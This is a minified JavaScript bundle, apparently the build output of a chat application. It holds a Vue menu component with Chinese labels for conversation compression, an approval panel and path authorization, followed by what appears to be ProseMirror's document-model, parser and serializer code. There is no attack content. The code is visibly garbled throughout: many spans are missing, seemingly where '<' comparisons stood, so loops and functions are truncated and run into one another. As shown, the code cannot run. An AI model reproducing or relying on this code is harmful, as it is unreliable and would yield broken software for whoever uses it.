submenu-entry",onClick:a[9]||(a[9]=c=>o.$emit("compress-conversation")),disabled:s.compressing||s.streamingMessage||!s.isConnected},ae(s.compressing?"压缩中...":"压缩对话"),9,h9),E("button",{type:"button",class:"menu-entry submenu-entry",onClick:a[10]||(a[10]=c=>o.$emit("toggle-approval-panel")),disabled:!s.currentConversationId}," 审批面板 ",8,d9),s.executionModeEnabled?(F(),$("button",{key:0,type:"button",class:"menu-entry submenu-entry",onClick:a[11]||(a[11]=c=>o.$emit("open-path-authorization"))}," 路径授权 ")):ge("",!0)])])):ge("",!0)]),_:1})])):ge("",!0)]),_:1}))}}),gL=Qt(f9,[["__scopeId","data-v-1e329b70"]]);function ui(s){this.content=s}ui.prototype={constructor:ui,find:function(s){for(var e=0;e>1}};ui.from=function(s){if(s instanceof ui)return s;var e=[];if(s)for(var t in s)e.push(t,s[t]);return new ui(e)};function mL(s,e,t){for(let n=0;;n++){if(n==s.childCount||n==e.childCount)return s.childCount==e.childCount?null:t;let i=s.child(n),r=e.child(n);if(i==r){t+=i.nodeSize;continue}if(!i.sameMarkup(r))return t;if(i.isText&&i.text!=r.text){for(let o=0;i.text[o]==r.text[o];o++)t++;return t}if(i.content.size||r.content.size){let o=mL(i.content,r.content,t+1);if(o!=null)return o}t+=i.nodeSize}}function vL(s,e,t,n){for(let i=s.childCount,r=e.childCount;;){if(i==0||r==0)return i==r?null:{a:t,b:n};let o=s.child(--i),a=e.child(--r),c=o.nodeSize;if(o==a){t-=c,n-=c;continue}if(!o.sameMarkup(a))return{a:t,b:n};if(o.isText&&o.text!=a.text){let l=0,u=Math.min(o.text.length,a.text.length);for(;le&&n(c,i+a,r||null,o)!==!1&&c.content.size){let u=a+1;c.nodesBetween(Math.max(0,e-u),Math.min(c.content.size,t-u),n,i+u)}a=l}}descendants(e){this.nodesBetween(0,this.size,e)}textBetween(e,t,n,i){let r="",o=!0;return this.nodesBetween(e,t,(a,c)=>{let l=a.isText?a.text.slice(Math.max(e,c)-c,t-c):a.isLeaf?i?typeof i=="function"?i(a):i:a.type.spec.leafText?a.type.spec.leafText(a):"":"";a.isBlock&&(a.isLeaf&&l||a.isTextblock)&&n&&(o?o=!1:r+=n),r+=l},0),r}append(e){if(!e.size)return this;if(!this.size)return e;let t=this.lastChild,n=e.firstChild,i=this.content.slice(),r=0;for(t.isText&&t.sameMarkup(n)&&(i[i.length-1]=t.withText(t.text+n.text),r=1);re)for(let r=0,o=0;oe&&((ot)&&(a.isText?a=a.cut(Math.max(0,e-o),Math.min(a.text.length,t-o)):a=a.cut(Math.max(0,e-o-1),Math.min(a.content.size,t-o-1))),n.push(a),i+=a.nodeSize),o=c}return new Bi(n,i)}cutByIndex(e,t){return e==t?Bi.empty:e==0&&t==this.content.length?this:new Bi(this.content.slice(e,t))}replaceChild(e,t){let n=this.content[e];if(n==t)return this;let i=this.content.slice(),r=this.size+t.nodeSize-n.nodeSize;return i[e]=t,new Bi(i,r)}addToStart(e){return new Bi([e].concat(this.content),this.size+e.nodeSize)}addToEnd(e){return new Bi(this.content.concat(e),this.size+e.nodeSize)}eq(e){if(this.content.length!=e.content.length)return!1;for(let t=0;tthis.size||e<0)throw new RangeError(`Position ${e} outside of fragment (${this})`);for(let t=0,n=0;;t++){let i=this.child(t),r=n+i.nodeSize;if(r>=e)return r==e?A_(t+1,r):A_(t,n);n=r}}toString(){return"<"+this.toStringInner()+">"}toStringInner(){return this.content.join(", ")}toJSON(){return this.content.length?this.content.map(e=>e.toJSON()):null}static fromJSON(e,t){if(!t)return Bi.empty;if(!Array.isArray(t))throw new RangeError("Invalid input for Fragment.fromJSON");return Bi.fromArray(t.map(e.nodeFromJSON))}static fromArray(e){if(!e.length)return Bi.empty;let t,n=0;for(let i=0;ithis.type.rank&&(t||(t=e.slice(0,i)),t.push(this),n=!0),t&&t.push(r)}}return t||(t=e.slice()),n||t.push(this),t}removeFromSet(e){for(let t=0;tn.type.rank-i.type.rank),t}};_s.none=[];let bw=class extends Error{},nt=class sp{constructor(e,t,n){this.content=e,this.openStart=t,this.openEnd=n}get size(){return this.content.size-this.openStart-this.openEnd}insertAt(e,t){let n=bL(this.content,e+this.openStart,t,this.openStart+1,this.openEnd+1);return n&&new sp(n,this.openStart,this.openEnd)}removeBetween(e,t){return new sp(yL(this.content,e+this.openStart,t+this.openStart),this.openStart,this.openEnd)}eq(e){return this.content.eq(e.content)&&this.openStart==e.openStart&&this.openEnd==e.openEnd}toString(){return this.content+"("+this.openStart+","+this.openEnd+")"}toJSON(){if(!this.content.size)return null;let e={content:this.content.toJSON()};return this.openStart>0&&(e.openStart=this.openStart),this.openEnd>0&&(e.openEnd=this.openEnd),e}static fromJSON(e,t){if(!t)return sp.empty;let n=t.openStart||0,i=t.openEnd||0;if(typeof n!="number"||typeof i!="number")throw new RangeError("Invalid input for Slice.fromJSON");return new sp(Fe.fromJSON(e,t.content),n,i)}static maxOpen(e,t=!0){let n=0,i=0;for(let r=e.firstChild;r&&!r.isLeaf&&(t||!r.type.spec.isolating);r=r.firstChild)n++;for(let r=e.lastChild;r&&!r.isLeaf&&(t||!r.type.spec.isolating);r=r.lastChild)i++;return new sp(e,n,i)}};nt.empty=new nt(Fe.empty,0,0);function yL(s,e,t){let{index:n,offset:i}=s.findIndex(e),r=s.maybeChild(n),{index:o,offset:a}=s.findIndex(t);if(i==e||r.isText){if(a!=t&&!s.child(o).isText)throw new RangeError("Removing non-flat range");return s.cut(0,e).append(s.cut(t))}if(n!=o)throw new RangeError("Removing non-flat range");return s.replaceChild(n,r.copy(yL(r.content,e-i-1,t-i-1)))}function bL(s,e,t,n,i,r){let{index:o,offset:a}=s.findIndex(e),c=s.maybeChild(o);if(a==e||c.isText)return r&&n<=0&&i<=0&&!r.canReplace(o,o,t)?null:s.cut(0,e).append(t).append(s.cut(e));let l=bL(c.content,e-a-1,t,o==0?n-1:0,o==s.childCount-1?i-1:0,c);return l&&s.replaceChild(o,c.copy(l))}function p9(s,e,t){if(t.openStart>s.depth)throw new bw("Inserted content deeper than insertion position");if(s.depth-t.openStart!=e.depth-t.openEnd)throw new bw("Inconsistent open depths");return _L(s,e,t,0)}function _L(s,e,t,n){let i=s.index(n),r=s.node(n);if(i==e.index(n)&&n=0&&s.isText&&s.sameMarkup(e[t])?e[t]=s.withText(e[t].text+s.text):e.push(s)}function Tv(s,e,t,n){let i=(e||s).node(t),r=0,o=e?e.index(t):i.childCount;s&&(r=s.index(t),s.depth>t?r++:s.textOffset&&(_f(s.nodeAfter,n),r++));for(let a=r;ai&&x1(s,e,i+1),o=n.depth>i&&x1(t,n,i+1),a=[];return Tv(null,s,i,a),r&&o&&e.index(i)==t.index(i)?(SL(r,o),_f(Sf(r,wL(s,e,t,n,i+1)),a)):(r&&_f(Sf(r,_w(s,e,i+1)),a),Tv(e,t,i,a),o&&_f(Sf(o,_w(t,n,i+1)),a)),Tv(n,null,i,a),new Fe(a)}function _w(s,e,t){let n=[];if(Tv(null,s,t,n),s.depth>t){let i=x1(s,e,t+1);_f(Sf(i,_w(s,e,t+1)),n)}return Tv(e,null,t,n),new Fe(n)}function g9(s,e){let t=e.depth-s.openStart,i=e.node(t).copy(s.content);for(let r=t-1;r>=0;r--)i=e.node(r).copy(Fe.from(i));return{start:i.resolveNoCache(s.openStart+t),end:i.resolveNoCache(i.content.size-s.openEnd-t)}}class qv{constructor(e,t,n){this.pos=e,this.path=t,this.parentOffset=n,this.depth=t.length/3-1}resolveDepth(e){return e==null?this.depth:e<0?this.depth+e:e}get parent(){return this.node(this.depth)}get doc(){return this.node(0)}node(e){return this.path[this.resolveDepth(e)*3]}index(e){return this.path[this.resolveDepth(e)*3+1]}indexAfter(e){return e=this.resolveDepth(e),this.index(e)+(e==this.depth&&!this.textOffset?0:1)}start(e){return e=this.resolveDepth(e),e==0?0:this.path[e*3-1]+1}end(e){return e=this.resolveDepth(e),this.start(e)+this.node(e).content.size}before(e){if(e=this.resolveDepth(e),!e)throw new RangeError("There is no position before the top-level node");return e==this.depth+1?this.pos:this.path[e*3-1]}after(e){if(e=this.resolveDepth(e),!e)throw new RangeError("There is no position after the top-level node");return e==this.depth+1?this.pos:this.path[e*3-1]+this.path[e*3].nodeSize}get textOffset(){return this.pos-this.path[this.path.length-1]}get nodeAfter(){let e=this.parent,t=this.index(this.depth);if(t==e.childCount)return null;let n=this.pos-this.path[this.path.length-1],i=e.child(t);return n?e.child(t).cut(n):i}get nodeBefore(){let e=this.index(this.depth),t=this.pos-this.path[this.path.length-1];return t?this.parent.child(e).cut(0,t):e==0?null:this.parent.child(e-1)}posAtIndex(e,t){t=this.resolveDepth(t);let n=this.path[t*3],i=t==0?0:this.path[t*3-1]+1;for(let r=0;r0;t--)if(this.start(t)<=e&&this.end(t)>=e)return t;return 0}blockRange(e=this,t){if(e.pos=0;n--)if(e.pos<=this.end(n)&&(!t||t(this.node(n))))return new Sw(this,e,n);return null}sameParent(e){return this.pos-this.parentOffset==e.pos-e.parentOffset}max(e){return e.pos>this.pos?e:this}min(e){return e.pos=0&&t<=e.content.size))throw new RangeError("Position "+t+" out of range");let n=[],i=0,r=t;for(let o=e;;){let{index:a,offset:c}=o.content.findIndex(r),l=r-c;if(n.push(o,a,i+c),!l||(o=o.child(a),o.isText))break;r=l-1,i+=c+1}return new qv(t,n,r)}static resolveCached(e,t){let n=ix.get(e);if(n)for(let r=0;re&&this.nodesBetween(e,t,r=>(n.isInSet(r.marks)&&(i=!0),!i)),i}get isBlock(){return this.type.isBlock}get isTextblock(){return this.type.isTextblock}get inlineContent(){return this.type.inlineContent}get isInline(){return this.type.isInline}get isText(){return this.type.isText}get isLeaf(){return this.type.isLeaf}get isAtom(){return this.type.isAtom}toString(){if(this.type.spec.toDebugString)return this.type.spec.toDebugString(this);let e=this.type.name;return this.content.size&&(e+="("+this.content.toStringInner()+")"),kL(this.marks,e)}contentMatchAt(e){let t=this.type.contentMatch.matchFragment(this.content,0,e);if(!t)throw new Error("Called contentMatchAt on a node with invalid content");return t}canReplace(e,t,n=Fe.empty,i=0,r=n.childCount){let o=this.contentMatchAt(e).matchFragment(n,i,r),a=o&&o.matchFragment(this.content,t);if(!a||!a.validEnd)return!1;for(let c=i;ct.type.name)}`);this.content.forEach(t=>t.check())}toJSON(){let e={type:this.type.name};for(let t in this.attrs){e.attrs=this.attrs;break}return this.content.size&&(e.content=this.content.toJSON()),this.marks.length&&(e.marks=this.marks.map(t=>t.toJSON())),e}static fromJSON(e,t){if(!t)throw new RangeError("Invalid input for Node.fromJSON");let n;if(t.marks){if(!Array.isArray(t.marks))throw new RangeError("Invalid mark data for Node.fromJSON");n=t.marks.map(e.markFromJSON)}if(t.type=="text"){if(typeof t.text!="string")throw new RangeError("Invalid text node in JSON");return e.text(t.text,n)}let i=Fe.fromJSON(e,t.content),r=e.nodeType(t.type).create(t.attrs,i,n);return r.type.checkAttrs(r.attrs),r}};yc.prototype.text=void 0;class ww extends yc{constructor(e,t,n,i){if(super(e,t,null,i),!n)throw new RangeError("Empty text nodes are not allowed");this.text=n}toString(){return this.type.spec.toDebugString?this.type.spec.toDebugString(this):kL(this.marks,JSON.stringify(this.text))}get textContent(){return this.text}textBetween(e,t){return this.text.slice(e,t)}get nodeSize(){return this.text.length}mark(e){return e==this.marks?this:new ww(this.type,this.attrs,this.text,e)}withText(e){return e==this.text?this:new ww(this.type,this.attrs,e,this.marks)}cut(e=0,t=this.text.length){return e==0&&t==this.text.length?this:this.withText(this.text.slice(e,t))}eq(e){return this.sameMarkup(e)&&this.text==e.text}toJSON(){let e=super.toJSON();return e.text=this.text,e}}function kL(s,e){for(let t=s.length-1;t>=0;t--)e=s[t].type.name+"("+e+")";return e}class Tf{constructor(e){this.validEnd=e,this.next=[],this.wrapCache=[]}static parse(e,t){let n=new b9(e,t);if(n.next==null)return Tf.empty;let i=CL(n);n.next&&n.err("Unexpected trailing text");let r=A9(T9(i));return E9(r,n),r}matchType(e){for(let t=0;tl.createAndFill()));for(let l=0;l=this.next.length)throw new RangeError(`There's no ${e}th edge in this content match`);return this.next[e]}toString(){let e=[];function t(n){e.push(n);for(let i=0;i{let r=i+(n.validEnd?"*":" ")+" ";for(let o=0;o"+e.indexOf(n.next[o].next);return r}).join(` +`)}}Tf.empty=new Tf(!0);class b9{constructor(e,t){this.string=e,this.nodeTypes=t,this.inline=null,this.pos=0,this.tokens=e.split(/\s*(?=\b|\W|$)/),this.tokens[this.tokens.length-1]==""&&this.tokens.pop(),this.tokens[0]==""&&this.tokens.shift()}get next(){return this.tokens[this.pos]}eat(e){return this.next==e&&(this.pos++||!0)}err(e){throw new SyntaxError(e+" (in content expression '"+this.string+"')")}}function CL(s){let e=[];do e.push(_9(s));while(s.eat("|"));return e.length==1?e[0]:{type:"choice",exprs:e}}function _9(s){let e=[];do e.push(S9(s));while(s.next&&s.next!=")"&&s.next!="|");return e.length==1?e[0]:{type:"seq",exprs:e}}function S9(s){let e=C9(s);for(;;)if(s.eat("+"))e={type:"plus",expr:e};else if(s.eat("*"))e={type:"star",expr:e};else if(s.eat("?"))e={type:"opt",expr:e};else if(s.eat("{"))e=w9(s,e);else break;return e}function rx(s){/\D/.test(s.next)&&s.err("Expected number, got '"+s.next+"'");let e=Number(s.next);return s.pos++,e}function w9(s,e){let t=rx(s),n=t;return s.eat(",")&&(s.next!="}"?n=rx(s):n=-1),s.eat("}")||s.err("Unclosed braced range"),{type:"range",min:t,max:n,expr:e}}function k9(s,e){let t=s.nodeTypes,n=t[e];if(n)return[n];let i=[];for(let r in t){let o=t[r];o.isInGroup(e)&&i.push(o)}return i.length==0&&s.err("No node type or group '"+e+"' found"),i}function C9(s){if(s.eat("(")){let e=CL(s);return s.eat(")")||s.err("Missing closing paren"),e}else if(/\W/.test(s.next))s.err("Unexpected token '"+s.next+"'");else{let e=k9(s,s.next).map(t=>(s.inline==null?s.inline=t.isInline:s.inline!=t.isInline&&s.err("Mixing inline and block content"),{type:"name",value:t}));return s.pos++,e.length==1?e[0]:{type:"choice",exprs:e}}}function T9(s){let e=[[]];return i(r(s,0),t()),e;function t(){return e.push([])-1}function n(o,a,c){let l={term:c,to:a};return e[o].push(l),l}function i(o,a){o.forEach(c=>c.to=a)}function r(o,a){if(o.type=="choice")return o.exprs.reduce((c,l)=>c.concat(r(l,a)),[]);if(o.type=="seq")for(let c=0;;c++){let l=r(o.exprs[c],a);if(c==o.exprs.length-1)return l;i(l,a=t())}else if(o.type=="star"){let c=t();return n(a,c),i(r(o.expr,c),c),[n(c)]}else if(o.type=="plus"){let c=t();return i(r(o.expr,a),c),i(r(o.expr,c),c),[n(c)]}else{if(o.type=="opt")return[n(a)].concat(r(o.expr,a));if(o.type=="range"){let c=a;for(let l=0;l{s[o].forEach(({term:a,to:c})=>{if(!a)return;let l;for(let u=0;u{l||i.push([a,l=[]]),l.indexOf(u)==-1&&l.push(u)})})});let r=e[n.join(",")]=new Tf(n.indexOf(s.length-1)>-1);for(let o=0;o-1}get whitespace(){return this.spec.whitespace||(this.spec.code?"pre":"normal")}hasRequiredAttrs(){for(let e in this.attrs)if(this.attrs[e].isRequired)return!0;return!1}compatibleContent(e){return this==e||this.contentMatch.compatible(e.contentMatch)}computeAttrs(e){return!e&&this.defaultAttrs?this.defaultAttrs:EL(this.attrs,e)}create(e=null,t,n){if(this.isText)throw new Error("NodeType.create can't construct text nodes");return new yc(this,this.computeAttrs(e),Fe.from(t),_s.setFrom(n))}createChecked(e=null,t,n){return t=Fe.from(t),this.checkContent(t),new yc(this,this.computeAttrs(e),t,_s.setFrom(n))}createAndFill(e=null,t,n){if(e=this.computeAttrs(e),t=Fe.from(t),t.size){let o=this.contentMatch.fillBefore(t);if(!o)return null;t=o.append(t)}let i=this.contentMatch.matchFragment(t),r=i&&i.fillBefore(Fe.empty,!0);return r?new yc(this,e,t.append(r),_s.setFrom(n)):null}validContent(e){let t=this.contentMatch.matchFragment(e);if(!t||!t.validEnd)return!1;for(let n=0;n-1}allowsMarks(e){if(this.markSet==null)return!0;for(let t=0;tn[r]=new IL(r,t,o));let i=t.spec.topNode||"doc";if(!n[i])throw new RangeError("Schema is missing its top node type ('"+i+"')");if(!n.text)throw new RangeError("Every schema needs a 'text' type");for(let r in n.text.attrs)throw new RangeError("The text node type should not have attributes");return n}};function M9(s,e,t){let n=t.split("|");return i=>{let r=i===null?"null":typeof i;if(n.indexOf(r)<0)throw new RangeError(`Expected value of type ${n} for attribute ${e} on type ${s}, got ${r}`)}}class x9{constructor(e,t,n){this.hasDefault=Object.prototype.hasOwnProperty.call(n,"default"),this.default=n.default,this.validate=typeof n.validate=="string"?M9(e,t,n.validate):n.validate}get isRequired(){return!this.hasDefault}}class X0{constructor(e,t,n,i){this.name=e,this.rank=t,this.schema=n,this.spec=i,this.attrs=xL(e,i.attrs),this.excluded=null;let r=AL(this.attrs);this.instance=r?new _s(this,r):null}create(e=null){return!e&&this.instance?this.instance:new _s(this,EL(this.attrs,e))}static compile(e,t){let n=Object.create(null),i=0;return e.forEach((r,o)=>n[r]=new X0(r,i++,t,o)),n}removeFromSet(e){for(var t=0;t-1}}class RL{constructor(e){this.linebreakReplacement=null,this.cached=Object.create(null);let t=this.spec={};for(let i in e)t[i]=e[i];t.nodes=ui.from(e.nodes),t.marks=ui.from(e.marks||{}),this.nodes=ax.compile(this.spec.nodes,this),this.marks=X0.compile(this.spec.marks,this);let n=Object.create(null);for(let i in this.nodes){if(i in this.marks)throw new RangeError(i+" can not be both a node and a mark");let r=this.nodes[i],o=r.spec.content||"",a=r.spec.marks;if(r.contentMatch=n[o]||(n[o]=Tf.parse(o,this.nodes)),r.inlineContent=r.contentMatch.inlineContent,r.spec.linebreakReplacement){if(this.linebreakReplacement)throw new RangeError("Multiple linebreak nodes defined");if(!r.isInline||!r.isLeaf)throw new RangeError("Linebreak replacement nodes must be inline leaf nodes");this.linebreakReplacement=r}r.markSet=a=="_"?null:a?lx(this,a.split(" ")):a==""||!r.inlineContent?[]:null}for(let i in this.marks){let r=this.marks[i],o=r.spec.excludes;r.excluded=o==null?[r]:o==""?[]:lx(this,o.split(" "))}this.nodeFromJSON=i=>yc.fromJSON(this,i),this.markFromJSON=i=>_s.fromJSON(this,i),this.topNodeType=this.nodes[this.spec.topNode||"doc"],this.cached.wrappings=Object.create(null)}node(e,t=null,n,i){if(typeof e=="string")e=this.nodeType(e);else if(e instanceof ax){if(e.schema!=this)throw new RangeError("Node type from different schema used ("+e.name+")")}else throw new RangeError("Invalid node type: "+e);return e.createChecked(t,n,i)}text(e,t){let n=this.nodes.text;return new ww(n,n.defaultAttrs,e,_s.setFrom(t))}mark(e,t){return typeof e=="string"&&(e=this.marks[e]),e.create(t)}nodeType(e){let t=this.nodes[e];if(!t)throw new RangeError("Unknown node type: "+e);return t}}function lx(s,e){let t=[];for(let n=0;n-1)&&t.push(o=c)}if(!o)throw new SyntaxError("Unknown mark type: '"+e[n]+"'")}return t}function I9(s){return s.tag!=null}function R9(s){return s.style!=null}let Av=class R1{constructor(e,t){this.schema=e,this.rules=t,this.tags=[],this.styles=[];let n=this.matchedStyles=[];t.forEach(i=>{if(I9(i))this.tags.push(i);else if(R9(i)){let r=/[^=]*/.exec(i.style)[0];n.indexOf(r)<0&&n.push(r),this.styles.push(i)}}),this.normalizeLists=!this.tags.some(i=>{if(!/^(ul|ol)\b/.test(i.tag)||!i.node)return!1;let r=e.nodes[i.node];return r.contentMatch.matchType(r)})}parse(e,t={}){let n=new ux(this,t,!1);return n.addAll(e,_s.none,t.from,t.to),n.finish()}parseSlice(e,t={}){let n=new ux(this,t,!0);return n.addAll(e,_s.none,t.from,t.to),nt.maxOpen(n.finish())}matchTag(e,t,n){for(let i=n?this.tags.indexOf(n)+1:0;ie.length&&(a.charCodeAt(e.length)!=61||a.slice(e.length+1)!=t))){if(o.getAttrs){let c=o.getAttrs(t);if(c===!1)continue;o.attrs=c||void 0}return o}}}static schemaRules(e){let t=[];function n(i){let r=i.priority==null?50:i.priority,o=0;for(;o{n(o=hx(o)),o.mark||o.ignore||o.clearMark||(o.mark=i)})}for(let i in e.nodes){let r=e.nodes[i].spec.parseDOM;r&&r.forEach(o=>{n(o=hx(o)),o.node||o.ignore||o.mark||(o.node=i)})}return t}static fromSchema(e){return e.cached.domParser||(e.cached.domParser=new R1(e,R1.schemaRules(e)))}};const LL={address:!0,article:!0,aside:!0,blockquote:!0,canvas:!0,dd:!0,div:!0,dl:!0,fieldset:!0,figcaption:!0,figure:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,li:!0,noscript:!0,ol:!0,output:!0,p:!0,pre:!0,section:!0,table:!0,tfoot:!0,ul:!0},L9={head:!0,noscript:!0,object:!0,script:!0,style:!0,title:!0},PL={ol:!0,ul:!0},Kv=1,L1=2,Ev=4;function cx(s,e,t){return e!=null?(e?Kv:0)|(e==="full"?L1:0):s&&s.whitespace=="pre"?Kv|L1:t&~Ev}class E_{constructor(e,t,n,i,r,o){this.type=e,this.attrs=t,this.marks=n,this.solid=i,this.options=o,this.content=[],this.activeMarks=_s.none,this.match=r||(o&Ev?null:e.contentMatch)}findWrapping(e){if(!this.match){if(!this.type)return[];let t=this.type.contentMatch.fillBefore(Fe.from(e));if(t)this.match=this.type.contentMatch.matchFragment(t);else{let n=this.type.contentMatch,i;return(i=n.findWrapping(e.type))?(this.match=n,i):null}}return this.match.findWrapping(e.type)}finish(e){if(!(this.options&Kv)){let n=this.content[this.content.length-1],i;if(n&&n.isText&&(i=/[ \t\r\n\u000c]+$/.exec(n.text))){let r=n;n.text.length==i[0].length?this.content.pop():this.content[this.content.length-1]=r.withText(r.text.slice(0,r.text.length-i[0].length))}}let t=Fe.from(this.content);return!e&&this.match&&(t=t.append(this.match.fillBefore(Fe.empty,!0))),this.type?this.type.create(this.attrs,t,this.marks):t}inlineContext(e){return this.type?this.type.inlineContent:this.content.length?this.content[0].isInline:e.parentNode&&!LL.hasOwnProperty(e.parentNode.nodeName.toLowerCase())}}class ux{constructor(e,t,n){this.parser=e,this.options=t,this.isOpen=n,this.open=0,this.localPreserveWS=!1;let i=t.topNode,r,o=cx(null,t.preserveWhitespace,0)|(n?Ev:0);i?r=new E_(i.type,i.attrs,_s.none,!0,t.topMatch||i.type.contentMatch,o):n?r=new E_(null,null,_s.none,!0,null,o):r=new E_(e.schema.topNodeType,null,_s.none,!0,null,o),this.nodes=[r],this.find=t.findPositions,this.needsBlock=!1}get top(){return this.nodes[this.open]}addDOM(e,t){e.nodeType==3?this.addTextNode(e,t):e.nodeType==1&&this.addElement(e,t)}addTextNode(e,t){let n=e.nodeValue,i=this.top,r=i.options&L1?"full":this.localPreserveWS||(i.options&Kv)>0,{schema:o}=this.parser;if(r==="full"||i.inlineContext(e)||/[^ \t\r\n\u000c]/.test(n)){if(r)if(r==="full")n=n.replace(/\r\n?/g,` +`);else if(o.linebreakReplacement&&/[\r\n]/.test(n)&&this.top.findWrapping(o.linebreakReplacement.create())){let a=n.split(/\r?\n|\r/);for(let c=0;c!c.clearMark(l)):t=t.concat(this.parser.schema.marks[c.mark].create(c.attrs)),c.consuming===!1)a=c;else break}}return t}addElementByRule(e,t,n,i){let r,o;if(t.node)if(o=this.parser.schema.nodes[t.node],o.isLeaf)this.insertNode(o.create(t.attrs),n,e.nodeName=="BR")||this.leafFallback(e,n);else{let c=this.enter(o,t.attrs||null,n,t.preserveWhitespace);c&&(r=!0,n=c)}else{let c=this.parser.schema.marks[t.mark];n=n.concat(c.create(t.attrs))}let a=this.top;if(o&&o.isLeaf)this.findInside(e);else if(i)this.addElement(e,n,i);else if(t.getContent)this.findInside(e),t.getContent(e,this.parser.schema).forEach(c=>this.insertNode(c,n,!1));else{let c=e;typeof t.contentElement=="string"?c=e.querySelector(t.contentElement):typeof t.contentElement=="function"?c=t.contentElement(e):t.contentElement&&(c=t.contentElement),this.findAround(e,c,!0),this.addAll(c,n),this.findAround(e,c,!1)}r&&this.sync(a)&&this.open--}addAll(e,t,n,i){let r=n||0;for(let o=n?e.childNodes[n]:e.firstChild,a=i==null?null:e.childNodes[i];o!=a;o=o.nextSibling,++r)this.findAtPoint(e,r),this.addDOM(o,t);this.findAtPoint(e,r)}findPlace(e,t,n){let i,r;for(let o=this.open,a=0;o>=0;o--){let c=this.nodes[o],l=c.findWrapping(e);if(l&&(!i||i.length>l.length+a)&&(i=l,r=c,!l.length))break;if(c.solid){if(n)break;a+=2}}if(!i)return null;this.sync(r);for(let o=0;o(o.type?o.type.allowsMarkType(l.type):dx(l.type,e))?(c=l.addToSet(c),!1):!0),this.nodes.push(new E_(e,t,c,i,null,a)),this.open++,n}closeExtra(e=!1){let t=this.nodes.length-1;if(t>this.open){for(;t>this.open;t--)this.nodes[t-1].content.push(this.nodes[t].finish(e));this.nodes.length=this.open+1}}finish(){return this.open=0,this.closeExtra(this.isOpen),this.nodes[0].finish(!!(this.isOpen||this.options.topOpen))}sync(e){for(let t=this.open;t>=0;t--){if(this.nodes[t]==e)return this.open=t,!0;this.localPreserveWS&&(this.nodes[t].options|=Kv)}return!1}get currentPos(){this.closeExtra();let e=0;for(let t=this.open;t>=0;t--){let n=this.nodes[t].content;for(let i=n.length-1;i>=0;i--)e+=n[i].nodeSize;t&&e++}return e}findAtPoint(e,t){if(this.find)for(let n=0;n-1)return e.split(/\s*\|\s*/).some(this.matchesContext,this);let t=e.split("/"),n=this.options.context,i=!this.isOpen&&(!n||n.parent.type==this.nodes[0].type),r=-(n?n.depth+1:0)+(i?0:1),o=(a,c)=>{for(;a>=0;a--){let l=t[a];if(l==""){if(a==t.length-1||a==0)continue;for(;c>=r;c--)if(o(a-1,c))return!0;return!1}else{let u=c>0||c==0&&i?this.nodes[c].type:n&&c>=r?n.node(c-r).type:null;if(!u||u.name!=l&&!u.isInGroup(l))return!1;c--}}return!0};return o(t.length-1,this.open)}textblockFromContext(){let e=this.options.context;if(e)for(let t=e.depth;t>=0;t--){let n=e.node(t).contentMatchAt(e.indexAfter(t)).defaultType;if(n&&n.isTextblock&&n.defaultAttrs)return n}for(let t in this.parser.schema.nodes){let n=this.parser.schema.nodes[t];if(n.isTextblock&&n.defaultAttrs)return n}}}function P9(s){for(let e=s.firstChild,t=null;e;e=e.nextSibling){let n=e.nodeType==1?e.nodeName.toLowerCase():null;n&&PL.hasOwnProperty(n)&&t?(t.appendChild(e),e=t):n=="li"?t=e:n&&(t=null)}}function O9(s,e){return(s.matches||s.msMatchesSelector||s.webkitMatchesSelector||s.mozMatchesSelector).call(s,e)}function hx(s){let e={};for(let t in s)e[t]=s[t];return e}function dx(s,e){let t=e.schema.nodes;for(let n in t){let i=t[n];if(!i.allowsMarkType(s))continue;let r=[],o=a=>{r.push(a);for(let c=0;c{if(r.length||o.marks.length){let a=0,c=0;for(;a=0;i--){let r=this.serializeMark(e.marks[i],e.isInline,t);r&&((r.contentDOM||r.dom).appendChild(n),n=r.dom)}return n}serializeMark(e,t,n={}){let i=this.marks[e.type.name];return i&&uS(M_(n),i(e,t),null,e.attrs)}static renderSpec(e,t,n=null,i){return typeof t=="string"?{dom:e.createTextNode(t)}:uS(e,t,n,i)}static fromSchema(e){return e.cached.domSerializer||(e.cached.domSerializer=new Of(this.nodesFromSchema(e),this.marksFromSchema(e)))}static nodesFromSchema(e){let t=fx(e.nodes);return t.text||(t.text=n=>n.text),t}static marksFromSchema(e){return fx(e.marks)}}function fx(s){let e={};for(let t in s){let n=s[t].spec.toDOM;n&&(e[t]=n)}return e}function M_(s){return s.document||window.document}const px=new WeakMap;function D9(s){let e=px.get(s);return e===void 0&&px.set(s,e=N9(s)),e}function N9(s){let e=null;function t(n){if(n&&typeof n=="object")if(Array.isArray(n))if(typeof n[0]=="string")e||(e=[]),e.push(n);else for(let i=0;i-1)throw new RangeError("Using an array from an attribute object as a DOM spec. This may be an attempted cross site scripting attack.");let o=i.indexOf(" ");o>0&&(t=i.slice(0,o),i=i.slice(o+1));let a,c=t?s.createElementNS(t,i):s.createElement(i),l=e[1],u=1;if(l&&typeof l=="object"&&l.nodeType==null&&!Array.isArray(l)){u=2;for(let h in l)if(l[h]!=null){let d=h.indexOf(" ");d>0?c.setAttributeNS(h.slice(0,d),h.slice(d+1),l[h]):h=="style"&&c.style?c.style.cssText=l[h]:c.setAttribute(h,l[h])}}for(let h=u;hu)throw new RangeError("Content hole must be the only child of its parent node");return{dom:c,contentDOM:c}}else if(typeof d=="string")c.appendChild(s.createTextNode(d));else{let{dom:p,contentDOM:m}=uS(s,d,t,n);if(c.appendChild(p),m){if(a)throw new RangeError("Multiple content holes");a=m}}}return{dom:c,contentDOM:a}}const OL=65535,DL=Math.pow(2,16);function B9(s,e){return s+e*DL}function gx(s){return s&OL}function F9(s){return(s-(s&OL))/DL}const NL=1,BL=2,hS=4,FL=8;let P1=class{constructor(e,t,n){this.pos=e,this.delInfo=t,this.recover=n}get deleted(){return(this.delInfo&FL)>0}get deletedBefore(){return(this.delInfo&(NL|hS))>0}get deletedAfter(){return(this.delInfo&(BL|hS))>0}get deletedAcross(){return(this.delInfo&hS)>0}},Af=class np{constructor(e,t=!1){if(this.ranges=e,this.inverted=t,!e.length&&np.empty)return np.empty}recover(e){let t=0,n=gx(e);if(!this.inverted)for(let i=0;ie)break;let l=this.ranges[a+r],u=this.ranges[a+o],h=c+l;if(e<=h){let d=l?e==c?-1:e==h?1:t:t,p=c+i+(d<0?0:u);if(n)return p;let m=e==(t<0?c:h)?null:B9(a/3,e-c),v=e==c?BL:e==h?NL:hS;return(t<0?e!=c:e!=h)&&(v|=FL),new P1(p,v,m)}i+=u-l}return n?e+i:new P1(e+i,0,null)}touches(e,t){let 